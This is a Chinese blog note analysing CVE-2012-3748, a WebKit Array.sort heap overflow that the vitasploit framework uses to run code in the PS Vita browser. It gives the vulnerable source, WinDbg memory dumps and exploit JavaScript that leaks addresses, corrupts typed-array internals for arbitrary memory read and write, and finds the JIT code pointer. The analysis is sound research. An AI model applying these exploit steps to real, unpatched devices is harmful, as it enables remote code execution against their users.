CVE-2012-3748 for vitasploit
作者:retme 发布时间:April 20, 2015 分类:Notes No Comments
太久没冒泡出来炸一炸。。春节前夕玩过一点这个,因为只是笔记,比较凌乱 --->
vitasploit 是PSVita 上的RCE framework,使用这个框架可以在PSV的浏览器进程域中执行代码,系统版本要求是 <3.18。个人觉得这个框架非常棒,github的地址是 https://github.com/Hykem/vitasploit
当然这个框架用的漏洞比较老,因为PSV 之前webkit一直没怎么升级过,用的是CVE-2012-3748,这个洞已经在iOS上有公开的exploit。事实上这个漏洞在PSVita/Wii/Kindle/PS4 等设备的特定版本上依旧存在。
图为在PSVita TV上通过浏览器执行代码。4月份vitasploit更新之后已经可以做trinity-like syscall fuzzing了
春节时因为想要分析vitasploit,就顺便看了下这个洞,浏览器不是很懂,纯粹笔记。
在vita里面调试浏览器漏洞不太现实。最好还是在PC上调,我是在windows上调试的。由于需要的webkit版本很老,mac上编译调试的话需要雪豹,我实在找不到一个可以用雪豹的机器了。。。。Windows上可以下载现成的pdb符号进行调试,要方便很多。
首先在这里下载safari的pdb符号
http://builds.nightly.webkit.org/files/trunk/win/WebKit-SVN-r115198.zip
接下来就是一些分析过程了
=============================================================
1.漏洞
漏洞出现在js array排序方法中,在JS中调用somearray.sort(function_ptr)来为数组排序
function_ptr是调用者提供的比较函数,
- void JSArray::sort(ExecState* exec, JSValue compareFunction, CallType callType, const CallData& callData)
- {
- ...
- // FIXME: If the compare function modifies the array, the vector, map, etc. could be modified
- // right out from under us while we're building the tree here.
- unsigned numDefined = 0;
- unsigned numUndefined = 0;
- // Iterate over the array, ignoring missing values, counting undefined ones, and inserting all other ones into the tree.
- for (; numDefined < usedVectorLength; ++numDefined) {
- JSValue v = m_storage->m_vector[numDefined].get();
- if (!v || v.isUndefined())
- break;
- tree.abstractor().m_nodes[numDefined].value = v;
- tree.insert(numDefined);//这里调用了我们定义的compareFunction
- //在这个函数中我们调用了JSArray.shift()
- }
- ...
- // FIXME: If the compare function changed the length of the array, the following might be
- // modifying the vector incorrectly.
- // Copy the values back into m_storage.
- // compareFunction已经将以一些元素移除,m_storage->m_vector的大小已经缩短,
- // 再去写m_storage->m_vector[i]就构成了堆溢出
- AVLTree<AVLTreeAbstractorForArrayCompare, 44>::Iterator iter;
- iter.start_iter_least(tree);
- JSGlobalData& globalData = exec->globalData();
- for (unsigned i = 0; i < numDefined; ++i) {
- m_storage->m_vector[i].set(globalData, this, tree.abstractor().m_nodes[*iter].value);
- ++iter;
- }
- ...
- }
1+ 利用思路
- 0:000> dt WebCore::JSUint32Array 0x034deda8-0x28
- WebKit!WebCore::JSUint32Array
- =0f0e0000 TypedArrayStorageType : 0x905a4d (No matching name)
- +0x000 m_classInfo : 0x0f9c1860 JSC::ClassInfo
- +0x004 m_structure : JSC::WriteBarrier<JSC::Structure>
- =0f0e0000 baseExternalStorageCapacity : 0x905a4d
- =0f0e0000 s_info : JSC::ClassInfo
- =0f0e0000 StructureFlags : 0x905a4d
- +0x008 m_propertyStorage : JSC::StorageBarrier
- +0x00c m_inheritorID : JSC::WriteBarrier<JSC::Structure>
- +0x010 m_inlineStorage : [4] JSC::WriteBarrier<enum JSC::Unknown>
- =0f9a8220 s_info : JSC::ClassInfo
- +0x030 m_impl : 0x7fdbc300 WTF::ArrayBufferView
- =0f0e0000 StructureFlags : 0x905a4d
- =0f9c1860 s_info : JSC::ClassInfo
- =0f0e0000 TypedArrayStorageType : 0x905a4d (No matching name)
- +0x038 m_storageLength : 0n8
- +0x03c m_storage : 0x7fdbc320 Void
- =0f0e0000 StructureFlags : 0x905a4d
JSUint32Array.m_inlineStorage是一段JS可控的内存,用来装载属性。利用这段内存来构造一个GetterSetter结构体。
接着利用漏洞篡改JSUint32Array.m_impl为GetterSetter.m_getter,这是一个JSC::JSFunction类型,,将JSUint32Array.m_storageLength设置的极大,以达到任意内存写的目的
把JSC::JSFunction.m_propertyStorage 作为了 JSUint32Array.m_impl.m_baseAddress 即u32[0]的基地址
然后再来修改JSC::JSFunction的JIT地址和shellcode,最后触发shellcode执行
2.JSArray 内存布局分析
JSArray的定义是ArrayStorage
- struct ArrayStorage {
- unsigned m_length; // The "length" property on the array
- unsigned m_numValuesInVector;
- void* m_allocBase; // Pointer to base address returned by malloc(). Keeping this pointer does eliminate false positives from the leak detector.
- #if CHECK_ARRAY_CONSISTENCY
- // Needs to be a uintptr_t for alignment purposes.
- uintptr_t m_initializationIndex;
- uintptr_t m_inCompactInitialization;
- #else
- uintptr_t m_padding;
- #endif
- WriteBarrier<Unknown> m_vector[1];
从code可以推测出 JSArray的布局 |m_length|m_numValuesInVector|m_allocBase|m_padding or ..|m_vector[len]|
- 0:000> dq 0x02460290
- 02460290 00000005`00000005 fffffffa`02460290
- 024602a0 ffffffff`00000000 ffffffff`00000001
- 024602b0 ffffffff`00000002 ffffffff`00000003
- 024602c0 fffffffb`0224fa00 00000005`00000005
- 024602d0 fffffffa`024602c8 ffffffff`00000000
- 024602e0 ffffffff`00000001 ffffffff`00000002
- 024602f0 ffffffff`00000003 ffffffff`00000004
JSValue如果是一个int,那么直接放到JSValue里面,前面4位是0xffff,也就是说只能保存2^48
如果JSValue代表的是一个对象,比如Uint32Array,那么保存的是指针
3.利用
Part 1:泄露出u32 address
- a1.sort() -> compare(3,4) -> a1.shift()
- //===========================windbg info====================================
- //===========================windbg info====================================
- // call a1.shift(), length = 4
- 0:000> dq 0x02460290
- 02460290 00000004`00000004 00000004`00000004
- 024602a0 fffffffa`02460290 ffffffff`00000001
- 024602b0 ffffffff`00000002 ffffffff`00000003
- 024602c0 fffffffb`0224fa00 00000005`00000005
- 024602d0 fffffffa`024602c8 ffffffff`00000000
- 024602e0 ffffffff`00000001 ffffffff`00000002
- 024602f0 ffffffff`00000003 ffffffff`00000004
- 02460300 00000003`00000003 fffffffa`02460300
- -> return to a1.sort()
- 0:000> dq 0x02460290
- 02460290 00000004`00000004 00000005`00000004
- 024602a0 fffffffa`02460290 ffffffff`00000000
- 024602b0 ffffffff`00000001 ffffffff`00000002
- 024602c0 ffffffff`00000003 fffffffb`0224fa00 <- corrupted a2.length = u32 address
- 024602d0 fffffffa`024602c8 ffffffff`00000000
- 024602e0 ffffffff`00000001 ffffffff`00000002
- 024602f0 ffffffff`00000003 ffffffff`00000004
- 02460300 00000003`00000003 fffffffa`02460300
- JSArray a1 : |length = 4|x|x|x|1|2|3|length = u32 address
- JavaScriptCore!JSC::ArrayStorage
- +0x000 m_length : 4
- +0x004 m_numValuesInVector : 4
- +0x008 m_allocBase : 0x00000004 Void
- +0x00c m_padding : 5
- +0x010 m_vector : [1] JSC::WriteBarrier<enum JSC::Unknown>
- JSArray a2 : |length = u32 address |x|x|x|0|1|2|3|4|
- JavaScriptCore!JSC::ArrayStorage
- +0x000 m_length : 0x224fa00
- +0x004 m_numValuesInVector : 0xfffffffb
- +0x008 m_allocBase : 0x024602c8 Void
- +0x00c m_padding : 0xfffffffa
- +0x010 m_vector : [1] JSC::WriteBarrier<enum JSC::Unknown>
- //===========================windbg info END====================================
- //===========================windbg info END====================================
- Part 2:
- 2.1 a1.sort() -> compare(0,1) -> a1.length = 5;a1.shift();a2.length = a2.length+ 0x28
- //===========================windbg info====================================
- //===========================windbg info====================================
- JSArray a1 : |length = 4|x|x|x|1|2|3|length = u32 address + 0x28|
- 0:000> dq 0x02460290
- 02460290 00000004`00000004 00000004`00000004
- 024602a0 00000004`00000004 fffffffa`02460290 <- 024602a0 = base of JSArray a1
- 024602b0 ffffffff`00000001 ffffffff`00000002
- 024602c0 ffffffff`00000003 fffffffb`0224fa28 <- corrupted a2.length = u32 address + 0x28
- 024602d0 fffffffa`024602c8 ffffffff`00000000
- 024602e0 ffffffff`00000001 ffffffff`00000002
- 024602f0 ffffffff`00000003 ffffffff`00000004
- 02460300 00000003`00000003 fffffffa`02460300
- JSArray a2 : |length = u32 address + 0x28|x|x|x|0|1|2|3|4|
- JavaScriptCore!JSC::ArrayStorage
- +0x000 m_length : 0x224fa28
- +0x004 m_numValuesInVector : 0xfffffffb
- +0x008 m_allocBase : 0x024602c8 Void
- +0x00c m_padding : 0xfffffffa
- +0x010 m_vector : [1] JSC::WriteBarrier<enum JSC::Unknown>
- 2.2 ->compare(x,3) -> a1.unshift(0)
- |length = 5|x|x|x|0|1|2|3|length = u32 address + 0x28|x|x|x|0|1|2|3|4|
- 0:000> dq 0x02460290
- 02460290 00000004`00000004 00000005`00000005
- 024602a0 fffffffa`02460290 ffffffff`00000000
- 024602b0 ffffffff`00000001 ffffffff`00000002
- 024602c0 ffffffff`00000003 fffffffb`0224fa28
- 024602d0 fffffffa`024602c8 ffffffff`00000000
- 024602e0 ffffffff`00000001 ffffffff`00000002
- 024602f0 ffffffff`00000003 ffffffff`00000004
- 02460300 00000003`00000003 fffffffa`02460300
- JSArray a1 : |length = 5|x|x|x|0|1|2|3|length = u32 address + 0x28|
- JavaScriptCore!JSC::ArrayStorage
- +0x000 m_length : 5
- +0x004 m_numValuesInVector : 5
- +0x008 m_allocBase : 0x02460290 Void
- +0x00c m_padding : 0xfffffffa
- +0x010 m_vector : [1] JSC::WriteBarrier<enum JSC::Unknown>
- JSArray a2 : |length = u32 address + 0x28|x|x|x|0|1|2|3|4
- JavaScriptCore!JSC::ArrayStorage
- +0x000 m_length : 0x224fa28
- +0x004 m_numValuesInVector : 0xfffffffb
- +0x008 m_allocBase : 0x024602c8 Void
- +0x00c m_padding : 0xfffffffa
- +0x010 m_vector : [1] JSC::WriteBarrier<enum JSC::Unknown>
- 2.3 ->return to a1.sort()
- |length = 5|x|x|x|0|1|3|length = u32 address + 0x28|length = u32 address + 0x28|x|x|x|0|1|2|3|4|
- 0:000> dq 0x02460290
- 02460290 00000004`00000004 00000004`00000005
- 024602a0 fffffffa`02460290 ffffffff`00000000
- 024602b0 ffffffff`00000001 ffffffff`00000003 <-- 不要过于纠结为啥这里是 01 | 03 | ... 中间少了02
- 024602c0 fffffffb`0224fa28 fffffffb`0224fa28
- 024602d0 fffffffa`024602c8 ffffffff`00000000
- 024602e0 ffffffff`00000001 ffffffff`00000002
- 024602f0 ffffffff`00000003 ffffffff`00000004
- 02460300 00000003`00000003 fffffffa`02460300
不要过于纠结为啥这里是 01 | 03 | ... 中间少了02:非要说的话,是因为 m_storage->m_vector的位置因为comparFunc的调整,向后错了一位。
- for (; numDefined < usedVectorLength; ++numDefined) {
- JSValue v = m_storage->m_vector[numDefined].get();
- if (!v || v.isUndefined())
- break;
- tree.abstractor().m_nodes[numDefined].value = v;
- tree.insert(numDefined);
- }
- //===========================windbg info END====================================
- //===========================windbg info END====================================
Part 3: overwriting ((JSUint32Array)u32).m_impl pointer
绕了这么大弯子,其实也就是为了泄露出 u32的地址
3.1 改写mo.prop0 = ((JSUint32Array)u32).m_impl - 0x8
- 0:000> dt WebCore::JSUint32Array
- WebKit!WebCore::JSUint32Array
- =0f0e0000 TypedArrayStorageType : JSC::TypedArrayType
- +0x000 m_classInfo : Ptr32 JSC::ClassInfo
- +0x004 m_structure : JSC::WriteBarrier<JSC::Structure>
- =0f0e0000 baseExternalStorageCapacity : Uint4B
- =0f0e0000 s_info : JSC::ClassInfo
- =0f0e0000 StructureFlags : Uint4B
- +0x008 m_propertyStorage : JSC::StorageBarrier
- +0x00c m_inheritorID : JSC::WriteBarrier<JSC::Structure>
- +0x010 m_inlineStorage : [4] JSC::WriteBarrier<enum JSC::Unknown>
- =0f9a8220 s_info : JSC::ClassInfo
- +0x030 m_impl : Ptr32 WTF::ArrayBufferView
- =0f0e0000 StructureFlags : Uint4B
- =0f9c1860 s_info : JSC::ClassInfo
- =0f0e0000 TypedArrayStorageType : JSC::TypedArrayType
- +0x038 m_storageLength : Int4B
- +0x03c m_storage : Ptr32 Void
- =0f0e0000 StructureFlags : Uint4B
总之现在a1[3]是JSUint32Array + 0x28 = 是JSUint32Array.m_impl - 8,
接下来构造一个a3,后面紧跟着一个mo,他的property storage紧跟在a3后面
- var a3 = [0,1,2,a1[3]];
- var mo = {};
- var pd = { get: function(){return 0;}, set: function(arg){return 0;}, enumerable:true, configurable:true }
- // allocate mo's property storage right after a3's buffer
- Object.defineProperty(mo, "prop0", pd);
- for(var i=1; i < 7; i++){
- mo["prop"+i] = i;
- }
- mem layout :
- |length = 4|x|x|x|0|1|2|u32 address + 0x28 | pd_ptr | 1 | 2 | 3 | 4 | 5 | 6 |
- 0:000> dq 0x02e103e0
- 02e103e0 00000004`00000004 fffffffa`02e103e0
- 02e103f0 ffffffff`00000000 ffffffff`00000001
- 02e10400 ffffffff`00000002 fffffffb`034deda8
- 02e10410 fffffffb`0386ffc0 ffffffff`00000001
- 02e10420 ffffffff`00000002 ffffffff`00000003
- 02e10430 ffffffff`00000004 ffffffff`00000005
- 02e10440 ffffffff`00000006 fffffffa`00000000
- 02e10450 fffffffa`00000000 fffffffa`00000000
- shift & sort: u32 address + 0x28 = pd_ptr
- 0:000> dq 0x02e103e0
- 02e103e0 00000003`00000003 00000003`00000003
- 02e103f0 fffffffa`02e103e0 ffffffff`00000000
- 02e10400 ffffffff`00000001 ffffffff`00000002
- 02e10410 fffffffb`034deda8 ffffffff`00000001
- 02e10420 ffffffff`00000002 ffffffff`00000003
- 02e10430 ffffffff`00000004 ffffffff`00000005
- 02e10440 ffffffff`00000006 fffffffa`00000000
- 02e10450 fffffffa`00000000 fffffffa`00000000
- |length = 4|x|x|x|0|1|2|u32 address + 0x28 | mo.prop0 = u32.m_impl | mo.prop1 = 1 | 2 | 3 | 4 | 5 | 6 |
- 0:000> dq 0x02e103e8
- 02e103e8 00000004`00000003 fffffffa`02e103e0
- 02e103f8 ffffffff`00000000 ffffffff`00000001
- 02e10408 ffffffff`00000002 fffffffb`034deda8
- 02e10418 ffffffff`00000001 ffffffff`00000002
- 02e10428 ffffffff`00000003 ffffffff`00000004
- 02e10438 ffffffff`00000005 ffffffff`00000006
- 02e10448 fffffffa`00000000 fffffffa`00000000
- 02e10458 fffffffa`00000000 fffffffa`00000000
- 034deda8 是指JSUint32Array.m_impl - 0x8
- 0:000> dt WebCore::JSUint32Array 0x034deda8-0x28
- WebKit!WebCore::JSUint32Array
- =0f0e0000 TypedArrayStorageType : 0x905a4d (No matching name)
- +0x000 m_classInfo : 0x0f9c1860 JSC::ClassInfo
- +0x004 m_structure : JSC::WriteBarrier<JSC::Structure>
- =0f0e0000 baseExternalStorageCapacity : 0x905a4d
- =0f0e0000 s_info : JSC::ClassInfo
- =0f0e0000 StructureFlags : 0x905a4d
- +0x008 m_propertyStorage : JSC::StorageBarrier
- +0x00c m_inheritorID : JSC::WriteBarrier<JSC::Structure>
- +0x010 m_inlineStorage : [4] JSC::WriteBarrier<enum JSC::Unknown>
- =0f9a8220 s_info : JSC::ClassInfo
- +0x030 m_impl : 0x7fdbc300 WTF::ArrayBufferView
- =0f0e0000 StructureFlags : 0x905a4d
- =0f9c1860 s_info : JSC::ClassInfo
- =0f0e0000 TypedArrayStorageType : 0x905a4d (No matching name)
- +0x038 m_storageLength : 0n8
- +0x03c m_storage : 0x7fdbc320 Void
- =0f0e0000 StructureFlags : 0x905a4d
- JSUint32Array.m_impl
- 0:000> dt WTF::ArrayBufferView 0x7fdbc300
- WebKit!WTF::ArrayBufferView
- +0x004 m_refCount : 0n1
- +0x000 __VFN_table : 0x0f8acdf4
- +0x008 m_baseAddress : 0x7fdbc320 Void
- +0x00c m_byteOffset : 0
- +0x010 m_buffer : WTF::RefPtr<WTF::ArrayBuffer>
- +0x014 m_prevView : (null)
- +0x018 m_nextView : (null)
3.2 现在webcore::jsuint32array的布局是这样的
0218e780 ->base
0218e790 property storage = 4*long (inlineStorage)
0218e7a8 JSUint32Array.m_impl
首先利用u32.property伪造GetterSetter的结构头部
- // This is an internal value object which stores getter and setter functions
- // for a property.
- 0:000> dt JSC::GetterSetter
- JavaScriptCore!JSC::GetterSetter
- =51870000 TypedArrayStorageType : JSC::TypedArrayType
- +0x000 m_classInfo : Ptr32 JSC::ClassInfo
- +0x004 m_structure : JSC::WriteBarrier<JSC::Structure>
- =519bda68 s_info : JSC::ClassInfo
- +0x008 m_getter : JSC::WriteBarrier<JSC::JSObject>
- +0x00c m_setter : JSC::WriteBarrier<JSC::JSObject>
- // construct the valid GetterSetter object
- u32.prop1 = 8; // 8 = JSType.GetterSetterType
- u32.prop2 = 8;
- u32.prop3 = 8;
- u32.prop4 = u2d(u32addr, u32addr+0x10); // ((GetterSetter)mo.prop0).m_structure 指向 JSUint32Array.m_inlineStorage
- // prepare JSFunction which will be refered by u32.m_impl
- var f = new Function(" return 876543210 + " + (_cnt++) + ";");
- f.prop2 = u2d(0x40000000,0x40000000); // a new value for u32.length
- f();
- //这里把 pd.get复写到了 u32.m_impl
- //f.prop2 = u2d(0x40000000,0x40000000)为何能改变u32的长度?(见下面)
- // overwrite u32.m_impl by the pd.get object
- pd.get = f;
- Object.defineProperty(mo, "prop0", pd);
- //现在被替换之后的 JSUint32Array 长这样
- 0:000> dt WebCore::JSUint32Array 0x0253dc80
- WebKit!WebCore::JSUint32Array
- =0f810000 TypedArrayStorageType : 0x905a4d (No matching name)
- +0x000 m_classInfo : 0x100f1860 JSC::ClassInfo
- +0x004 m_structure : JSC::WriteBarrier<JSC::Structure>
- =0f810000 baseExternalStorageCapacity : 0x905a4d
- =0f810000 s_info : JSC::ClassInfo
- =0f810000 StructureFlags : 0x905a4d
- +0x008 m_propertyStorage : JSC::StorageBarrier
- +0x00c m_inheritorID : JSC::WriteBarrier<JSC::Structure>
- +0x010 m_inlineStorage : [4] JSC::WriteBarrier<enum JSC::Unknown>
- =100d8220 s_info : JSC::ClassInfo
- +0x030 m_impl : 0x0253d380 WTF::ArrayBufferView
- =0f810000 StructureFlags : 0x905a4d
- =100f1860 s_info : JSC::ClassInfo
- =0f810000 TypedArrayStorageType : 0x905a4d (No matching name)
- +0x038 m_storageLength : 0n8
- +0x03c m_storage : 0x7fe0e9a0 Void
- =0f810000 StructureFlags : 0x905a4d
- 0:000> dd 0x0253d380 //WTF::ArrayBufferView 同时也是 GetterSetter.m_getter JSC::JSFunction,
- 0253d380 018edd18 024a8880 0253d390 00000000
- 0253d390 028be440 fffffffb 40000000 40000000 //40000000 40000000就是f.prop2
- 0253d3a0 00000000 fffffffa 00000000 fffffffa
- 0253d3b0 02a9ef40 028be420 00000000 00000000
- 0253d3c0 018edd18 024ab9a0 0253d3d0 00000000
- 0253d3d0 028be4a0 fffffffb 00000002 ffffffff
- 0253d3e0 00000000 fffffffa 00000000 fffffffa
- 0253d3f0 0253d400 028bf420 00000000 00000000
- 0:000> dt JSC::jsfunction 0x0253d380
- JavaScriptCore!JSC::JSFunction
- =017a0000 TypedArrayStorageType : 0x905a4d (No matching name)
- +0x000 m_classInfo : 0x018edd18 JSC::ClassInfo
- +0x004 m_structure : JSC::WriteBarrier<JSC::Structure>
- =017a0000 baseExternalStorageCapacity : 0x905a4d
- =018edee8 s_info : JSC::ClassInfo
- =017a0000 StructureFlags : 0x905a4d
- +0x008 m_propertyStorage : JSC::StorageBarrier
- +0x00c m_inheritorID : JSC::WriteBarrier<JSC::Structure>
- +0x010 m_inlineStorage : [4] JSC::WriteBarrier<enum JSC::Unknown>
- =018edd18 s_info : JSC::ClassInfo
- =017a0000 StructureFlags : 0x905a4d
- +0x030 m_executable : JSC::WriteBarrier<JSC::ExecutableBase>
- +0x034 m_scopeChain : JSC::WriteBarrier<JSC::ScopeChainNode>
- 0:000> dt WTF::ArrayBufferView 0x0253d380
- JavaScriptCore!WTF::ArrayBufferView
- +0x004 m_refCount : 0n38439040
- +0x000 __VFN_table : 0x018edd18
- +0x008 m_baseAddress : 0x0253d390 Void //JSC::JSFunction.m_propertyStorage 作为了 JSUint32Array.m_impl.m_baseAddress 即u32[0]的基地址
- +0x00c m_byteOffset : 0
- +0x010 m_buffer : WTF::RefPtr<WTF::ArrayBuffer>
- +0x014 m_prevView : 0xfffffffb WTF::ArrayBufferView
- +0x018 m_nextView : 0x40000000 WTF::ArrayBufferView
- 0:000> dt WebKit!WTF::Uint32Array 0x0240de80
- +0x004 m_refCount : 0n37594752
- +0x000 __VFN_table : 0x77eedd18
- +0x008 m_baseAddress : 0x0240de90 Void
- +0x00c m_byteOffset : 0
- +0x010 m_buffer : WTF::RefPtr<WTF::ArrayBuffer>
- +0x014 m_prevView : 0xfffffffb WTF::ArrayBufferView
- +0x018 m_nextView : 0x40000000 WTF::ArrayBufferView
- +0x01c m_length : 0x40000000 //f.prop2 = u2d(0x40000000,0x40000000)能改变u32的长度
- // delete corrupted property
- delete mo.prop0;
- // check results: u32.length is taken from f's internals
- logAdd("u32.length = 0x" + u32.length.toString(16));
- if (u32.length == u32len) { logAdd("error: 3"); return 3; }
- //logAdd("u32[] data:<br/>" + ArrayToString(u32,0,16)); // for RnD
Part 4: getting the JIT-code memory address
- // find out the memory address of u32[0] (ArrayBufferView.m_baseAddress)
- var u32base = u32[0x40000000-2];
- logAdd("u32 address = 0x" + u32addr.toString(16));
- logAdd("u32 base = 0x" + u32base.toString(16));
- //
- /* 计算出u32base
- JSUint32Array.getByIndex() 实现如下
- u32base = *(JSUint32Array->m_impl->m_baseAddress + index*4)
- index = 0x3ffffffe
- so
- u32base = *(JSUint32Array->m_impl->m_baseAddress + 0xFFFFFFF8) 正好取到了 *JSC::JSFunction.m_propertyStorage = JSC::JSFunction.m_inlineStorage 作为 base
- */
- // declare aux functions
- var getU32 = function(addr) {
- return u32[(addr - u32base) >>> 2];
- }
- var setU32 = function(addr,val) {
- return u32[(addr - u32base) >>> 2] = val;
- }
- // read ((JSFunction)f).m_executable;
- var jitObj = u32[8]; //JSC::JSFunction.m_inlineStorage + 0x20 = JSC::JSFunction.m_executable
- logAdd("JIT object = 0x" + jitObj.toString(16));
- // read ExecutableBase.m_jitCodeForCall
- jitObj += 0x10;
- var jitAddr = getU32(jitObj);
- logAdd("JIT address = 0x" + jitAddr.toString(16));
- if (!jitAddr) { logAdd("error: 4"); return 4; }
后面就没啥了,改写JIT指针执行rop。vitaslpoit的最后这里的处理和iOS有些不同,没有覆盖JIT而是覆盖的vTable 。